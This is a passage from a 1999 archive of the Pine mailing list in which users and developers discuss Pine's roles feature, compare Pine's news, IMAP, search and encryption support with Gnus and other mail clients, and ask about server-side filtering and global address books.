will do this. Or you can set the feature > confirm-role-even-for-default if you don't mind prompts. Excellent, thank you very much! Perhaps someday it'll work form the index? I really hate prompts. :( Topher Tech Support topher@gospelcom.net Gospel Communications Network From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Wed, 24 Feb 1999 11:23:46 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA31603 for ; Wed, 24 Feb 1999 11:23:45 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA20591; Wed, 24 Feb 1999 11:23:42 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id LAA02131; Wed, 24 Feb 1999 11:20:30 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.2+UW99.01) with ESMTP id LAA46608 for ; Wed, 24 Feb 1999 11:13:00 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id LAA25566 for ; Wed, 24 Feb 1999 11:13:00 -0800 Received: from localhost (hubert@localhost) by shiva1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA19292 for ; Wed, 24 Feb 1999 11:12:59 -0800 Message-Id: Date: Wed, 24 Feb 1999 11:12:58 -0800 (PST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Steve Hubert To: Pine Discussion Forum Subject: Re: UI of Pine on X-Windows vs. MS-Windows? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Certainly possible. Since roles are new we're trying to move slowly and figure out how they should work. We sort of threw the # command in for the people who wanted to compose with a role. We're not ready to make it work everywhere. We'll continue to think about ways to set a role for new compositions. Steve On Wed, 24 Feb 1999, Shawn Jeffries wrote: > > > On Wed, 24 Feb 1999, Steve Hubert wrote: > > >`#' command from Main menu will do this. Or you can set the feature > >confirm-role-even-for-default if you don't mind prompts. > > Would it be possible to enable te same '#' command on any screen > where 'C' (compose) is allowed? What problems would it cause? > > From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Wed, 24 Feb 1999 13:39:40 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA02180 for ; Wed, 24 Feb 1999 13:39:39 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA16449; Wed, 24 Feb 1999 13:39:35 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id NAA02952; Wed, 24 Feb 1999 13:36:08 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.2+UW99.01) with ESMTP id NAA35242 for ; Wed, 24 Feb 1999 13:32:02 -0800 Received: from public.ndh.com (public.ndh.net [194.97.97.21]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id NAA14164 for ; Wed, 24 Feb 1999 13:32:01 -0800 Received: from radioactive.socha.net (root@port229.koeln.ndh.net [195.94.92.229]) by public.ndh.com (8.8.7/8.8.0) with ESMTP id WAA22028 for ; Wed, 24 Feb 1999 22:31:58 +0100 (MET) Received: (from robin@localhost) by radioactive.socha.net (8.8.7/8.8.7) id WAA00617; Wed, 24 Feb 1999 22:29:55 +0100 Message-Id: Date: 24 Feb 1999 22:29:55 +0100 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: "Robin S. Socha" To: Pine Discussion Forum Subject: roles, hooks and styles... (was: UI of Pine on X-Windows vs. MS-Windows?) In-Reply-To: Steve Hubert's message of "Wed, 24 Feb 1999 11:12:58 -0800 (PST)" References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN * Steve Hubert writes: > On Wed, 24 Feb 1999, Shawn Jeffries wrote: >> On Wed, 24 Feb 1999, Steve Hubert wrote: >> >`#' command from Main menu will do this. Or you can set the feature >> >confirm-role-even-for-default if you don't mind prompts. >> Would it be possible to enable te same '#' command on any screen where >> 'C' (compose) is allowed? What problems would it cause? > Certainly possible. Since roles are new we're trying to move slowly and > figure out how they should work. Just check mutt's send-hook and folder-hook or Gnus' posting-styles. > We sort of threw the # command in for the people who wanted to compose > with a role. We're not ready to make it work everywhere. We'll continue > to think about ways to set a role for new compositions. >From the Gnus manual: |So what if you want a different `Organization' and signature based on what |groups you post to? And you post both from your home machine and your work |machine, and you want different `From' lines, and so on? |One way to do stuff like that is to write clever hooks that change the |variables you need to have changed. That's a bit boring, so somebody came |up with the bright idea of letting the user specify these things in a handy |alist. Here's an example of a `gnus-posting-styles' variable: (setq gnus-posting-styles '((".*" (signature-file "~/.sigfiles/general") (name "Robin S. Socha") ("X-Home-Page" (getenv "WWW_HOME")) (organization "South of Heaven")) ("^de.comp.os.unix.linux" (signature random-signature-fun)) ((equal (system-name) "socha.net") (signature random-signature-fun)) (message-this-is-mail (signature-file "~/.sigfiles/mail")) (posting-from-work-p (signature-file "~/.sigfiles/work") (address "r.socha@control-risks.de") (body "You are fired.\n\nSincerely, your boss.") (organization "Control Risks Deutschland GmbH")) (".*pine.+:" (address "r.socha@control-risks.de")))) Generally, it works on a "per folder(s)" basis, which IMVHO is the Right Thing. YMMV. -- Robin S. Socha -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Wed, 24 Feb 1999 14:23:07 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA01539 for ; Wed, 24 Feb 1999 14:23:04 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA17612; Wed, 24 Feb 1999 14:23:01 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id OAA29506; Wed, 24 Feb 1999 14:15:03 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.2+UW99.01) with ESMTP id OAA25444 for ; Wed, 24 Feb 1999 14:12:08 -0800 Received: from mail1.new-york.net (SYSTEM@mail1.new-york.net [165.254.2.54]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id OAA24564 for ; Wed, 24 Feb 1999 14:12:06 -0800 Received: from aleph.ii.com ("port 1451"@aleph.ii.com) by mail1.new-york.net (PMDF V5.1-10 #22885) with ESMTP id <01J84OAVU522001DJ8@mail1.new-york.net> for pine-info@u.washington.edu; Wed, 24 Feb 1999 17:11:54 -0500 (EDT) Message-Id: Date: Wed, 24 Feb 1999 17:11:01 -0500 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Nancy McGough To: Pine Discussion Forum Subject: Re: UI of Pine on X-Windows vs. MS-Windows? In-Reply-To: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=ISO-8859-1 Content-transfer-encoding: 8BIT X-To: Pine Discussion Forum X-X-Sender: ii@mail1.new-york.net X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On 23 Feb 1999, Robin S. Socha wrote: > Timothy will probably kill me for Yet Another Offtopic Mail, but, hey!, we > used to do this stuff in the Ole Days, too, so here goes... To me, this is not offtopic. It's appropriate to discuss how Pine's features compare to the features of other mailer/newsreaders. This way the Pine developers get a sense of what features we think are important and stop some of us from thinking of Pine as a program for power users. > --==| Pine vs. Gnus |==-- > > [...] > > * store your folders and address books on servers and seamlessly access them > from any of your machines without worrying about your systems getting out > of sync (this is one of the beauties of IMAP) > > IMAP support in Pine is second to none. Gnus does have IMAP support, but > it's still under development. Since I have four un-networked computers here and ISPs all around the United States, I need to use an IMAP client for my mail and news message processing. As I look at competitors to Pine, I can't seriously consider non-IMAP clients. > * easily launch a URL that's in a message in your favorite browser > > Yup, but different browsers are just one keystroke away. Also, Emacs sports > a built-in browser (W3). Different browsers are easily available in Pine too. Hilite the URL, press Enter, type A to editApp, and then enter your alternate browser. > * use the same user interface for news and mail, and you can > simultaneously mail and post a message > > News support in pine *sucks*. AFAICS, it doesn't support anything worthwhile > (spoiler chars, supersedes, cancels). It does support Supersedes and Cancel headers (but you have to fill them in by hand). You can insert ^L into a message but Pine doesn't know how to interpret it (they show up as a question mark on my system). It would be nice if Pine interpreted ^L the way most Unix newsreaders do. > Courtesy copies are *extremely* annoying When you reply to a news message, Pine asks Follow-up to news group(s), Reply via email to author or Both? I -- and others who understand news -- almost always answer F (for Followup) to this question. This is a user education problem and users of just about every newsreader are guilty of the sin of cc'ing a news message. > and IIRC, pine doesn't even mark them as such. No, it doesn't but one of these days I'll write a sending filter that will do that (or maybe someone has already done that and could share it). At least Pine has the option of creating sending filters. > * flag messages as new, answered, deleted, or important > > ... and mark their respective folders, including mail notification et al > like this: > * 4: nnml+robin:Pine-ML Last read on 23/02/99 > ^ ^ ^^^^^^^^^^ ^^^^^^^ > 1 2 3 4 > 1: ticked articles in group > 2: how many articles > 3: backend (here: local mail backend) > 4: name of group (arbitrary) You can get Pine to do this kind of thing using aggregate operations on folder lists. I've got some Pine macros (using `pine -I long-string-of-commands') that I use to create a list of my folders that have important msgs or new msgs or whatever. Unfortunately Pine doesn't show the number of important, new, or whatever msgs. (I'm sure Gnus is more powerful in this respect but I wanted to let you know that you can do this kind of thing with Pine.) > * create macros using Pine's ``-I'' (initial keystrokes) > command-line argument > > No comment. We all know what Emacs stands for. Actually I don't. I guess the "macs" stands for macros but what does the "E" stand for? > * plug in your favorite editor, encryption programs, and other programs > that help you process your messages > > Speaking of encryption: it's a political thing, so pine will not have PGP > support, You can plug in support for PGP or S/MIME or whatever the next great encryption scheme is. Plug and play is the way to go for this kind of thing IMHO. > but can you tell me how you will get PGP 6.0i to work under Windos? I don't know what the issue is here -- can you elaborate?? > * pipe a message, or group of messages, through an external program > > Under Windos? Nope. This is on the UW list of features that will be added. This is my #1 PC-Pine feature request. > * search through a message, group of messages, or group of folders > > I must be doing something horribly wrong here, but it just doesn't work for > me the way I want it. What are you doing? And what happens that isn't what you want? I like this Pine feature quite a bit. > * filter your messages as they arrive by using an external program > (such as procmail) on your IMAP server. > > Well, that's kindalike nothing to do with pine, does it? Apart from the > procmail stuff, Gnus offers some very neat "fancy splitting", though. Yes, it does have something to do with Pine. It's another example of the Pine developers understanding Internet standards and plug & play. When there is a standard for IMAP server filtering, which there will be ( see http://www.cyrusoft.com/sieve/ ), Pine will be all set to plug it in and work with it. And then if there's a competing standard (which there always is), a user could choose to plug that in instead. This is just the same as the way Pine does encryption -- let the user choose which program to use. And don't lock the program into a particular component. > * automatically cutting signatures in replies Pine can do this. To find out all the dirty details, read the help on enable-sigdashes and strip-from-sigdashes-on-reply. (Have you even looked at the features in the Pine 4.10 Setup Config screen??) > * a more consistent UI. "e", "q", "C-c" - nope. What Pine UI inconsistencies are you referring to? > > I think the main reason that I'm so enthusiastic about Pine is that I'm > > able to get all the Unix-like power and flexibility on MS Windows. > > No you don't. You still don't have the Un*x environment. No bash. No > vim. Nothing. Unless you install all that, too. Actually I do have bash and vim. I use the most excellent gvim, and Cygwin for bash. Nancy -- For Pine info & links, see www.ii.com/internet/messaging/pine/ ŠNancy McGough http://www.ii.com Infinite Ink --= Sent via PINE: Power Internet News & Email for Win/Unix =-- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Wed, 24 Feb 1999 14:29:48 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA03503 for ; Wed, 24 Feb 1999 14:29:47 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA25662; Wed, 24 Feb 1999 14:29:44 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id OAA00986; Wed, 24 Feb 1999 14:27:55 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.2+UW99.01) with ESMTP id OAA16198 for ; Wed, 24 Feb 1999 14:24:59 -0800 Received: from mail1.new-york.net (SYSTEM@mail1.new-york.net [165.254.2.54]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id OAA26611 for ; Wed, 24 Feb 1999 14:24:58 -0800 Received: from aleph.ii.com ("port 1457"@aleph.ii.com) by mail1.new-york.net (PMDF V5.1-10 #22885) with ESMTP id <01J84OQUWXZ4001DJ8@mail1.new-york.net> for pine-info@u.washington.edu; Wed, 24 Feb 1999 17:24:46 -0500 (EDT) Message-Id: Date: Wed, 24 Feb 1999 17:23:54 -0500 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Nancy McGough To: Pine Discussion Forum Subject: Re: UI of Pine on X-Windows vs. MS-Windows? In-Reply-To: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-X-Sender: ii@mail1.new-york.net X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On 24 Feb 1999, Daniel Sands wrote: > I am not saying that Pine is worthless. Only that it is excellent for basic > purposes and useless for more advanced purposes. Now that I've gotten through Robin's list of advanced features he'd like to see, could you tell us what advanced purposes you think Pine is "useless for"? Thanks, Nancy (who actually used to design news software and is still very interested in the design of news and mail tools) From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Wed, 24 Feb 1999 23:33:42 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id XAA11137 for ; Wed, 24 Feb 1999 23:33:40 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id XAA27961; Wed, 24 Feb 1999 23:33:38 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id XAA19739; Wed, 24 Feb 1999 23:31:25 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.2+UW99.01) with ESMTP id XAA46184 for ; Wed, 24 Feb 1999 23:28:49 -0800 Received: from mtiwmhc07.worldnet.att.net (mtiwmhc07.worldnet.att.net [204.127.131.42]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id XAA30780 for ; Wed, 24 Feb 1999 23:28:49 -0800 Received: from DAD ([12.72.32.184]) by mtiwmhc07.worldnet.att.net (InterMail v03.02.07 118 124) with SMTP id <19990225072844.GBDB2479@DAD> for ; Thu, 25 Feb 1999 07:28:44 +0000 Received: by DAD with Microsoft Mail id <01BE6055.74C97900@DAD>; Thu, 25 Feb 1999 00:26:16 -0700 Message-Id: <01BE6055.74C97900@DAD> Date: Thu, 25 Feb 1999 00:26:14 -0700 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Roger Sabin To: Pine Discussion Forum Subject: Global Address Book MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-To: "'Pine Mail List'" X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Okay, I can now send and receive e-mail with Pine, but how do I setup a = global address book? We can setup a personal one, but the entry in setup = for the global address book will either say Read Only or Un-Readable. We = have yet to figure out how to update it with addresses. What are we = missing? Roger Sabin rasabin@worldnet.att.net -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Wed, 24 Feb 1999 23:43:52 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id XAA11146 for ; Wed, 24 Feb 1999 23:43:49 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id XAA28088; Wed, 24 Feb 1999 23:43:47 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id XAA09831; Wed, 24 Feb 1999 23:42:34 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.2+UW99.01) with ESMTP id XAA04778 for ; Wed, 24 Feb 1999 23:39:53 -0800 Received: from public.ndh.com (public.ndh.net [194.97.97.21]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id XAA31571 for ; Wed, 24 Feb 1999 23:39:51 -0800 Received: from radioactive.socha.net (root@port207.koeln.ndh.net [195.94.92.207]) by public.ndh.com (8.8.7/8.8.0) with ESMTP id IAA22728 for ; Thu, 25 Feb 1999 08:39:46 +0100 (MET) Received: (from robin@localhost) by radioactive.socha.net (8.8.7/8.8.7) id IAA02136; Thu, 25 Feb 1999 08:39:35 +0100 Message-Id: Date: 25 Feb 1999 08:39:34 +0100 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: "Robin S. Socha" To: Pine Discussion Forum Subject: Re: UI of Pine on X-Windows vs. MS-Windows? In-Reply-To: Nancy McGough's message of "Wed, 24 Feb 1999 17:11:01 -0500 (EST)" References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN * Nancy McGough writes: > On 23 Feb 1999, Robin S. Socha wrote: >> --==| Pine vs. Gnus |==-- >> [...] >> IMAP support in Pine is second to none. Gnus does have IMAP support, but >> it's still under development. > Since I have four un-networked computers here and ISPs all around the > United States, I need to use an IMAP client for my mail and news message > processing. As I look at competitors to Pine, I can't seriously consider > non-IMAP clients. Well, it isn't a non-IMAP client. It just doesn't offer *all* available features. I've been using it with IMAP for more than 6 months, though, without missing much. >> * easily launch a URL [...] > Different browsers are easily available in Pine too. Hilite the URL, > press Enter, type A to editApp, and then enter your alternate browser. We were talking of UIs, and I said "mouse click". Besides which, I really miss my lightning completion (ie automatic completion of commands on first match) for these cases. [suboptimal news support] > It does support Supersedes and Cancel headers (but you have to fill them > in by hand). I don't count that as "support". I count "C" and "S s" as "support". > You can insert ^L into a message but Pine doesn't know how to interpret > it (they show up as a question mark on my system). It would be nice if > Pine interpreted ^L the way most Unix newsreaders do. How can you insert with pico? It can be done with vim, but pico? >> Courtesy copies are *extremely* annoying > This is a user education problem and users of just about every newsreader > are guilty of the sin of cc'ing a news message. I'm not only talking news here (where the X-mail-copies: never header is honoured by Gnus), but also mailing lists. I'm *on* the list. I *don't* need a Cc. Trust me. Gnus lets you define "reply to *this* ML" in the parameters for the respective group. Excellent, because there are lists where Cc:s kinda do make sense. >> and IIRC, pine doesn't even mark them as such. > No, it doesn't but one of these days I'll write a sending filter that > will do that (or maybe someone has already done that and could share > it). At least Pine has the option of creating sending filters. Sure has. Unfortunately, they aren't of much use for 90% of the users cause they neither know shell nor perl. Again, speaking of UIs, Emacs's customize function offers an IMO intuitive interface to these functions. I still find pine's customization section kinda confusing, whereas Emacs' is hierarchical (ie own screens for group, summary, article, headers, scores etc). But maybe I'm just stupid. >> * flag messages as new, answered, deleted, or important >> ... and mark their respective folders, including mail notification et al [...] > (I'm sure Gnus is more powerful in this respect but I wanted to let you > know that you can do this kind of thing with Pine.) It doesn't really come anywhere near Gnus, sorry. I could easily fire up a summary line that would make you want to cry (IMAP features included). In fact, that was the feature that made me switch to Gnus in the first place, because I do get a lot of mail from various accounts. >> * create macros using Pine's ``-I'' (initial keystrokes) >> No comment. We all know what Emacs stands for. > Actually I don't. I guess the "macs" stands for macros but what does the > "E" stand for? editing. [PGP] > You can plug in support for PGP or S/MIME or whatever the next great > encryption scheme is. Plug and play is the way to go for this kind of > thing IMHO. I was talking integration. I've got a Mailcrypt menu and mouse menu. I can do a lot of funky things (like encrypt for remailers and the like) easily, because the integration of PGP into Emacs (not Gnus, Mailcrypt works for all Mail/News readers) is tight. GPG is supported, too ;-) >> but can you tell me how you will get PGP 6.0i to work under Windos? > I don't know what the issue is here -- can you elaborate?? It is entirely GUI based AFAICS. But I might be wrong, I don't work with Windos. >> * search through a message, group of messages, or group of folders >> it just doesn't work for me the way I want it. > What are you doing? And what happens that isn't what you want? I like > this Pine feature quite a bit. Do the words "rgrep" and "agrep" ring a bell? Do I have to send you a screenshot of search-menu.el? }:-> regexps for everything. Very nifty. >> * filter your messages as they arrive by using an external program [it's nothing to do with pine] > Yes, it does have something to do with Pine. It's another example of the > Pine developers understanding Internet standards and plug & play. When > there is a standard for IMAP server filtering, which there will be ( see > http://www.cyrusoft.com/sieve/ ), Pine will be all set to plug it in and > work with it. And as per usual, it will not be integrated well (cf PGP). We were talking of powerful UIs, weren't we? When this thing happens, Gnus will use it just like anything else. mutt will have a menu entry for it. pine? > (Have you even looked at the features in the Pine 4.10 Setup Config > screen??) Not long enough as it seems. >> * a more consistent UI. "e", "q", "C-c" - nope. > What Pine UI inconsistencies are you referring to? If I want to *q*uit, I want to "q"uit. It's got better but it still isn't 100% consistent. Not to be nitpicking here, it's really not a big deal. >> > I think the main reason that I'm so enthusiastic about Pine is that >> > I'm able to get all the Unix-like power and flexibility on MS Windows. >> No you don't. You still don't have the Un*x environment. No bash. No >> vim. Nothing. Unless you install all that, too. > Actually I do have bash and vim. I use the most excellent gvim, and > Cygwin for bash. That's what I said. But just imagine that some people aren't allowed to install superior software at work. Now what? Robin -- Robin S. Socha From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Thu, 25 Feb 1999 01:05:09 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id BAA12079 for ; Thu, 25 Feb 1999 01:05:08 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id BAA04106; Thu, 25 Feb 1999 01:05:06 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id BAA06971; Thu, 25 Feb 1999 01:03:55 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.2+UW99.01) with ESMTP id BAA30040 for ; Thu, 25 Feb 1999 01:00:43 -0800 Received: from living-source.com (blackice.living-source.com [195.52.135.33]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with SMTP id BAA28950 for ; Thu, 25 Feb 1999 01:00:42 -0800 Received: (qmail 23589 invoked from network); 25 Feb 1999 09:00:40 -0000 Received: from unknown (HELO metroplex.living-source.com) (195.52.133.21) by andromeda.living-source.com with SMTP; 25 Feb 1999 09:00:40 -0000 Message-Id: Date: Thu, 25 Feb 1999 10:01:48 +0100 (=?ISO-8859-1?Q?Westeurop=E4ische_Normalzeit?=) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Adi Sieker To: Pine Discussion Forum Subject: Re: UI of Pine on X-Windows vs. MS-Windows? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-X-Sender: adi@blackice.living-source.com X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Wed, 24 Feb 1999, Topher wrote: > I'd love a filtering program that will work over IMAP (procmail, elm's > filter and others only work on the local box). And I mean message sorting > style filtering, not display filtering. Not quite we are using qmail with cyrus impad and procmail. So you can use procmail to filter IMAP mail. Regards Adi -- adi@living-source.com tel:+761 / 15 25 8-13 http://www.living-source.com fax:+761 / 15 25 8-50 From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Thu, 25 Feb 1999 01:40:49 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id BAA13227 for ; Thu, 25 Feb 1999 01:40:48 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id BAA29746; Thu, 25 Feb 1999 01:40:46 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id BAA23882; Thu, 25 Feb 1999 01:39:40 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.2+UW99.01) with ESMTP id BAA41252 for ; Thu, 25 Feb 1999 01:37:12 -0800 Received: from calypso.view.net.au (mtw@calypso.view.net.au [203.30.237.210]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id BAA00149 for ; Thu, 25 Feb 1999 01:37:08 -0800 Received: (from mtw@localhost) by calypso.view.net.au (8.9.1/8.9.1) id UAA01844; Thu, 25 Feb 1999 20:03:01 +1030 Message-Id: Date: Thu, 25 Feb 1999 20:03:00 +1030 (CST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Michael Talbot-Wilson To: Pine Discussion Forum Subject: Re: UI of Pine on X-Windows vs. MS-Windows? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Nancy McGough X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Wed, 24 Feb 1999, Nancy McGough wrote: > On 24 Feb 1999, Daniel Sands wrote: > > As the documentation says, it is intended to be a lightweight > > program with an easy-to-use interface and a few advanced features. > > Please point me to where the Pine documentation says that. I have > honestly thought Pine is powerful, but maybe I'm confused and should > seriously start looking for a better program. Suggestions are welcome. Pine is a screen-oriented message-handling tool. In its default configuration, Pine offers an intentionally lim- ited set of functions geared toward the novice user, but it also has a growing list of optional "power-user" and personal-preference features. pinef is a variant of Pine >From you-know-where. But the "novice" bit is obsolete. Novices are now more novice, and have to have it graphical. As for better, Robin made (I thought) an impressive argument for Gnus. But I would look at MH (or nmh) with the exmh (Tcl/Tk) front end. I don't think you will find something inarguably better, but you may find something that is better in enough ways for you. --Mike From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Thu, 25 Feb 1999 03:09:31 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id DAA11792 for ; Thu, 25 Feb 1999 03:09:30 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id DAA05857; Thu, 25 Feb 1999 03:09:28 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu 